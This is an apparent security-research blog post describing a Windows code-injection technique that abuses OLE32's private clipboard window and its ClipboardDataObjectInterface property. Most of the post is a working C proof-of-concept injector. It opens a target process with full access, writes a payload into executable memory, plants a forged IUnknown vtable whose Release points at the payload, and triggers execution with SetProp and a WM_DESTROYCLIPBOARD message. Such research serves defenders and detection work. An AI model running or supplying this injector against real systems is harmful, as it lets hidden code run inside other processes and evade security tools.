Introduction
The Object Linking & Embedding (OLE) library (ole32.dll) uses a private clipboard. It registers CLIPBRDWNDCLASS
as a window class, creates a window derived from that class, and assigns a number of window properties to store the address of interfaces required to process clipboard data. Hexacorn describes here how one of the properties, ClipboardDataObjectInterface
, can be leveraged for code injection. Two other properties, ClipboardRootDataObjectInterface
and ClipboardDataObjectInterfaceMTA
can also be used. If ClipboardDataObjectInterface
is set to the address of an IUnknown
interface and the clipboard window procedure receives a WM_DESTROYCLIPBOARD
message, it will invoke the Release
method.
Finding Windows
Private clipboards registered by OLE32.dll can’t be found by EnumWindows
because they’re message-only windows. FindWindowEx
with HWND_MESSAGE
will find them and is used for the PoC. Another approach requires reading the ReservedForOle
value of each Thread Environment Block in a process. ReservedForOle
points to a SOleTlsData structure that contains a window handle for CLIPBRDWNDCLASS
. To find private clipboards via the TEB, open a process and enumerate threads. Then perform the following steps:
- Open the thread
- Query the ThreadBasicInformation
- Read tbi.TebBaseAddress
- Read sizeof(SOleTlsData) from teb.ReservedForOle
- Read hwndClip
Interface
Since only the Release
method is called by the Window procedure that retrieves a pointer to the interface, the following structure is enough.
// fake interface typedef struct _IUnknown_t { // a pointer to virtual function table ULONG_PTR lpVtbl; // the virtual function table ULONG_PTR QueryInterface; ULONG_PTR AddRef; ULONG_PTR Release; // executed for WM_DESTROYCLIPBOARD } IUnknown_t;
Injection
The following code assumes a valid clipboard window already exists. There is no error checking.
VOID clipboard(LPVOID payload, DWORD payloadSize) { HANDLE hp; HWND hw; DWORD id; IUnknown_t iu; LPVOID cs, ds; SIZE_T wr; // 1. Find a private clipboard. // Obtain the process id and open it hw = FindWindowEx(HWND_MESSAGE, NULL, L"CLIPBRDWNDCLASS", NULL); GetWindowThreadProcessId(hw, &id); hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id); // 2. Allocate RWX memory in process and write payload cs = VirtualAllocEx(hp, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); WriteProcessMemory(hp, cs, payload, payloadSize, &wr); // 3. Allocate RW memory in process. // Initialize and write IUnknown interface ds = VirtualAllocEx(hp, NULL, sizeof(IUnknown_t), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); iu.lpVtbl = (ULONG_PTR)ds + sizeof(ULONG_PTR); iu.Release = (ULONG_PTR)cs; WriteProcessMemory(hp, ds, &iu, sizeof(IUnknown_t), &wr); // 4. Set the interface property and trigger execution SetProp(hw, L"ClipboardDataObjectInterface", ds); PostMessage(hw, WM_DESTROYCLIPBOARD, 0, 0); // 5. Release memory for code and data VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE); VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE); CloseHandle(hp); }
Summary
This method is very similar to the PROPagate technique because it uses the SetProp
API. However, this is easier to exploit because the window procedure removes the window property after receiving WM_DESTROYCLIPBOARD
. PoC here.